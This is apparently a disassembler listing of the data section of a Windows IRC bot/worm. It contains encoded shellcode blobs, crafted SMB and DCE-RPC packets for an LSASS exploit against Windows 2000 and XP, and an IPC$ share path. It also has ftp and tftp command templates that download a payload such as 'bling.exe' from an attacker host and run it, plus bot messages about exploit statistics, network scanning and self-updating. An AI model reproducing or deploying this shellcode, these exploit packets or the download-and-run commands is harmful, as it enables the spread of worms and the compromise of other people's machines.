dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_42A02C dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: sub_402413+30o dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dd 2Ch dup(0) dword_42A16C dd 23h ; DATA XREF: sub_4019A7+1Bo ; sub_4087B3+799o dword_42A170 dd 60h ; DATA XREF: sub_401A18+320o dword_42A174 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401A18+2F5o dword_42A180 dd 30h ; DATA XREF: sub_401A18+2CAo ; .data:0042CC44o dword_42A184 dd 0A1h ; DATA XREF: sub_401A18+29Fo dword_42A188 dd 3 ; DATA XREF: sub_401A18+246o aCccc db 'CCCC',0 ; DATA XREF: sub_401A18+153o align 4 dword_42A194 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_401A18+E8o aSS_ db '%s// %s.',0 ; DATA XREF: sub_402413+1CEo align 4 aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_402413+55o db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 dd 7 dup(0) dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0 dword_42A378 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh ; DATA XREF: sub_402D46+156o ; sub_402D46+212o dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh dword_42A428 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_402D46+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_42A510 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:0040330Ao dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002_0 db 'LM1.2X002',0 dw 4C02h aAnman2_1_0 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12_0 db ' LM 0.12',0 align 4 dword_42A59C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00403336o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_42A648 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040335Do dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_42A728 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402D46+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_1: ; DATA XREF: sub_402D46+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42A78C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402D46+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_42A7F8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402D46+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42A89C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402D46+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_42A91C dd offset byte_401495 ; DATA XREF: sub_402D46+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_42A9B0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402D46+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_42AA1C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402D46+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_42AA90 dd 0 ; DATA XREF: sub_402D46+35Fo dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 2 dup(0) word_42AB18 dw 0AD9Dh ; DATA XREF: sub_402B90+30r ; sub_402D46+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_42AB58 dd 1004600h ; DATA XREF: sub_402D46+140r ; sub_402D46+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 8Dh dup(0) aS db '%s',0Dh,0Ah,0 ; DATA XREF: sub_402B90+100o ; sub_4087B3+2FADo ... align 10h aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_402B90+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 dd 5 dup(0) aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402B90+97o align 8 dword_42AEA8 dd 6EB06EBh, 0 ; DATA XREF: sub_402D46+177o aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_402D46+27o align 4 dword_42AEBC dd 1CEC8166h ; DATA XREF: sub_402D46+Dr dword_42AEC0 dd 0E4FF07h ; DATA XREF: sub_402D46+16r align 8 dword_42AEC8 dd 5D73255Bh, 3403203Ah, 1F5B1F02h, 78452002h, 696F6C70h ; DATA XREF: .text:00403402o dd 676E6974h, 20504920h, 1F5D1F02h, 0BB200302h, 2520BBBBh dd 2E73h, 3 dup(0) aAsn1http_0 db 'asn1http',0 ; DATA XREF: .text:0040405Fo align 2 aAsn1http db 'asn1http',0 ; DATA XREF: sub_402413+1C8o ; .text:004033FCo align 4 dd 5 dup(0) dword_42AF28 dd 50h ; DATA XREF: sub_4034D1+1Er ; sub_4087B3+2185r ... off_42AF2C dd offset sub_4011B8 ; DATA XREF: .text:004040E1r dword_42AF30 dd 0 ; DATA XREF: sub_402413+1FCw ; sub_402413+202r ... dword_42AF34 dd 1 ; DATA XREF: sub_403661+1Fr dword_42AF38 dd 1 ; DATA XREF: sub_403661:loc_4038D2r aAsn1smb db 'asn1smb',0 dd 73610000h, 6D73316Eh, 62h, 5 dup(0) dd 1BDh, 4011B8h, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 73610074h, 6D73316Eh dd 746E62h, 5 dup(0) dd 8Bh, 4011B8h, 0 dd 2 dup(1), 7361736Ch, 73h, 534C0000h, 2D735361h, 2D353434h dd 2D646F4Dh, 33726D65h, 3 dup(0) dd 1BDh, 401294h, 0 dd 2 dup(1), 10h dup(0) aAsn1smbnt db 'asn1smbnt',0 byte_42B03A db 1 ; DATA XREF: sub_4087B3:loc_40C15Br ; sub_4087B3+39B2o aAsn1smb_0 db 'asn1smb',0 align 4 dd 100h, 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h, 24h dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_4034D1+81o align 4 dd 0 aSD db ' %s: %d,',0 ; DATA XREF: sub_4034D1+42o align 4 dword_42B288 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4034D1+11o aExploitStatist db ' Exploit Statistics:',0 align 4 dd 2 dup(0) dword_42B2BC dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4035CD+42o aScanNotActive_ db ' Scan not active.',0 align 4 dd 2 dup(0) dword_42B2EC dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: sub_4035CD+2Co dd 72754320h, 746E6572h, 3A504920h, 2E732520h, 2 dup(0) unk_42B318 db 2 ; DATA XREF: sub_403661+36Fo db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFailedToStartS db ' Failed to start server, error: <%d>.',0 align 10h unk_42B360 db 2 ; DATA XREF: sub_403661+307o db 5Bh, 2, 20h db 2Dh ; - db 20h, 68h, 74h db 74h ; t db 70h, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dd 3 dup(0) unk_42B3B4 db 2 ; DATA XREF: sub_403661+267o db 5Bh, 2, 20h db 2Dh ; - db 20h, 66h, 74h db 1Fh db 70h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 10h dd 2 dup(0) unk_42B3F8 db 2 ; DATA XREF: sub_403661+1FAo db 5Bh, 2, 20h db 2Dh ; - db 20h, 66h, 74h db 1Fh db 70h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 10h dd 4 dup(0) dword_42B450 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_403661+149o aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 align 4 dd 3 dup(0) dword_42B498 dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh ; DATA XREF: sub_403661+DBo aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 dd 4 dup(0) aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_403B34+38o ; sub_4116BB+46o align 10h aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_403E76o align 10h dd 0 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:00403E66o align 4 aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:00403E41o align 10h dd 0 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:00403DE7o dd 2 dup(0) aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:00403DB0o align 4 dd 0 dword_42B58C dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00403FE6o aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 align 4 dd 2 dup(0) dword_42B5C4 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00403F8Eo aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 dd 3 dup(0) dword_42B614 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00404362o aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 dd 4 dup(0) dword_42B66C dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00404307o aFailedToStartW db ' Failed to start worker thread, error: <%d>.',0 align 10h dd 3 dup(0) dword_42B6BC dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:00404297o aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 dd 3 dup(0) dword_42B708 dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh ; DATA XREF: .text:0040421Bo aFailedToInitia db ' Failed to initialize critical section.',0 align 10h aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40452A+35o align 10h aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_40452A+10o align 10h dd 0 a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4045C0+60o align 4 dd 0 aLogs db '-[Logs]-',0 ; DATA XREF: .text:004046A4o align 4 aLogsCleared_ db '[LOGS]: Cleared.',0 ; DATA XREF: sub_40474C+1Ao align 4 dword_42B7BC dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 20BB2002h ; DATA XREF: .text:004048B6o dd 73694C20h, 6F632074h, 656C706Dh, 2E6574h, 2 dup(0) dword_42B7E8 dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 20BB2002h ; DATA XREF: .text:00404819o dd 67654220h, 6E69h, 0 dword_42B808 dd 78h ; DATA XREF: sub_4049E0+Ar align 10h dword_42B810 dd 80000002h, 42C9F8h, 80000002h, 42CA28h, 80000001h, 42CA60h ; DATA XREF: sub_404954+7o dword_42B828 dd 2 dup(0) ; DATA XREF: sub_404954+63o dword_42B830 dd 6272h ; DATA XREF: sub_404A47+Bo ; sub_40636F+24o ... unk_42B834 db 2 ; DATA XREF: .text:004051E0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 dd 2 dup(0) unk_42B874 db 2 ; DATA XREF: .text:004051D2o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 dd 4 dup(0) unk_42B8C8 db 2 ; DATA XREF: .text:00405116o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dd 4 dup(0) dword_42B924 dd 20025B02h, 6F64202Dh, 6F6C6E77h, 641F6C61h, 202D201Fh ; DATA XREF: .text:004050A5o dd 20025D02h, 4F2020BBh, 656E6570h, 25203A64h, 2E73h, 2 dup(0) aOpen db 'open',0 ; DATA XREF: .text:00405083o ; sub_4087B3+1452o ... align 4 unk_42B95C db 2 ; DATA XREF: .text:0040502Eo db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h dd 3 dup(0) unk_42B9AC db 2 ; DATA XREF: .text:00404FAFo db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 10h dd 2 dup(0) unk_42B9E8 db 2 ; DATA XREF: .text:00404F25o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 dd 3 dup(0) unk_42BA34 db 2 ; DATA XREF: .text:00404EE2o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 10h dd 3 dup(0) unk_42BA7C db 2 ; DATA XREF: .text:00404ED0o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 10h dd 3 dup(0) unk_42BACC db 2 ; DATA XREF: .text:00404DC4o db 5Bh, 2, 20h db 2Dh ; - db 20h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 6Ch, 1Fh, 64h db 1Fh db 20h, 2Dh, 20h db 2 db 5Dh, 2, 20h aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 10h dd 3 dup(0) aUnknown db 'Unknown',0 ; DATA XREF: sub_40545D:loc_4054A0o ; sub_410B94+104o align 8 aInvalid db 'Invalid',0 ; DATA XREF: sub_40545D:loc_40549Ao dd 0 aDisk db 'Disk',0 ; DATA XREF: sub_40545D:loc_405494o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40545D:loc_40548Eo align 8 aCdrom db 'Cdrom',0 ; DATA XREF: sub_40545D:loc_405488o align 10h aRam db 'RAM',0 ; DATA XREF: sub_40545D:loc_405482o word_42BB44 dw 3Fh ; DATA XREF: sub_40545D+1Fo ; sub_414190:loc_414292r align 4 aFailed db 'failed',0 ; DATA XREF: sub_405512:loc_4055EAo ; sub_405673+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_405512+6Bo align 4 unk_42BB58 db 2 ; DATA XREF: sub_405673+8Eo db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 10h dd 3 dup(0) unk_42BBAC db 2 ; DATA XREF: sub_405673+58o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 10h aA_1 db 'A:\',0 ; DATA XREF: sub_405779:loc_4057BEo dword_42BC04 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00405A2Bo dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42BC50 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: .text:00405A6Ao dword_42BC6C dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: .text:00405A9Fo dword_42BC80 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 8 dup(0) ; DATA XREF: .text:00405AC6o a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: .text:0040611Do dd 2 dup(0) aQuit db 'QUIT',0 ; DATA XREF: .text:00406109o ; sub_4087B3+534o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: .text:004060FCo align 10h dd 0 dword_42BD04 dd 726D655Bh, 45205D33h, 6F6C7078h, 656C7469h, 2069646Eh ; DATA XREF: .text:004060B1o dd 203A7069h, 253A7325h, 61E72064h, 74FEFD6Ch, 6CFD72FDh dd 203AFD64h, 7325h, 2 dup(0) a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: .text:00406092o align 8 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: .text:00406066o align 4 dd 2 dup(0) aRetr db 'RETR',0 ; DATA XREF: .text:0040604Eo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: .text:00406039o align 8 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: .text:00406028o align 8 aXX db '%x%x',0Ah,0 ; DATA XREF: .text:00405FF5o align 10h aS_0 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: .text:00405FB4o db ']',0 align 10h aPort db 'PORT',0 ; DATA XREF: .text:00405F7Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: .text:00405F4Do align 10h dd 0 aList db 'LIST',0 ; DATA XREF: .text:00405F3Ao align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: .text:00405EFFo align 10h aPasv db 'PASV',0 ; DATA XREF: .text:00405EECo align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: .text:00405EDCo align 10h aI: ; DATA XREF: .text:00405EC8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: .text:00405EA1o dd 0 aA: ; DATA XREF: .text:00405E8Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: .text:00405E76o ; .text:00405EB1o align 4 